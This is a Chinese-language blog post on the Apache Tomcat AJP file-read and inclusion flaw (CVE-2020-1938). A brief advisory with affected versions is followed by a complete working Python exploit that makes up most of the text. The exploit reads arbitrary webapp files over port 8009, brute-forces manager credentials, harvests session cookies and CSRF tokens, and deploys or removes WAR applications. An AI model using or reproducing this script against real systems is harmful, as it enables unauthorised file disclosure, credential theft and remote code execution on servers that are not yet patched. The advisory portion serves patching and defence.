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CNVD-2020-10487 CVE-2020-1938 Apache Tomcat 任意文件读取+文件包含

2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

一、漏洞概述

2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

Tomcat是Apache软件基金会中的一个重要项目,性能稳定且免费,是目前较为流行的Web应用服务器。由于Tomcat应用范围较广,因此本次通告的漏洞影响范围较大,请相关用户及时采取防护措施修复此漏洞。

参考链接:https://www.cnvd.org.cn/webinfo/show/5415

二、影响范围

受影响版本

  1. Apache Tomcat 6
  2. Apache Tomcat 7 < 7.0.100
  3. Apache Tomcat 8 < 8.5.51
  4. Apache Tomcat 9 < 9.0.31

不受影响版本
1. Apache Tomcat = 7.0.100
2. Apache Tomcat = 8.5.51
3. Apache Tomcat = 9.0.31

三、POC

poc1来源自GitHub https://raw.githubusercontent.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/master/poc.py

#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

import socket
import argparse
import logging
import re
import os
from StringIO import StringIO
import logging
from colorlog import ColoredFormatter
from urllib import unquote


def setup_logger():
    """Return a logger with a default ColoredFormatter."""
    formatter = ColoredFormatter(
        "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        reset=True,
        log_colors={
            'DEBUG': 'bold_purple',
            'INFO': 'bold_green',
            'WARNING': 'bold_yellow',
            'ERROR': 'bold_red',
            'CRITICAL': 'bold_red',
        }
    )

    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)

    return logger


logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False

    fr.attributes = []

    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
            'base64').replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                    user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True

        return res

    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)

        f_users = open(users, "r")
        f_passwords = open(passwords, "r")

        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) > 0:
                        self.socket.close()
                        return valid_credz

                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                    "%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        print(responses)
        if len(responses) == 0:
            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

        return snd_hdrs_res, data_res

    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                    filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header)
                f.write(f_input.read())
                f.write(s_form_footer)

        data_len = os.path.getsize("/tmp/request")

        headers = {
            "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
            "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)

        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)

        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')

        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')

    def get_error_page(self):
        return self.perform_request("/blablablablabla")

    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
            if len(s) > 0:
                return s[0]

    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                       "".join([d.data for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return

            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                       hdrs.response_headers.get('Set-Cookie', ''))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None

    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                          attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&]*)&', d.data)
            for app in im:
                found.append(unquote(app))
        return found

    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')

        # Check the successful message
        found = False
        regex = r'<small><strong>Message:<\/strong><\/small> <\/td>\s*<td class="row-left"><pre>(OK - .*' + path + ')\s*<\/pre><\/td>'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data)
                if len(f) > 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')


if __name__ == "__main__":


    parser = argparse.ArgumentParser()
    parser.add_argument('target', type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    bf = Tomcat(args.target, args.port)
    attributes = [
        {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
    ]
    snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
    print("".join([d.data for d in data_res]))

目前跨不出webapps

原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

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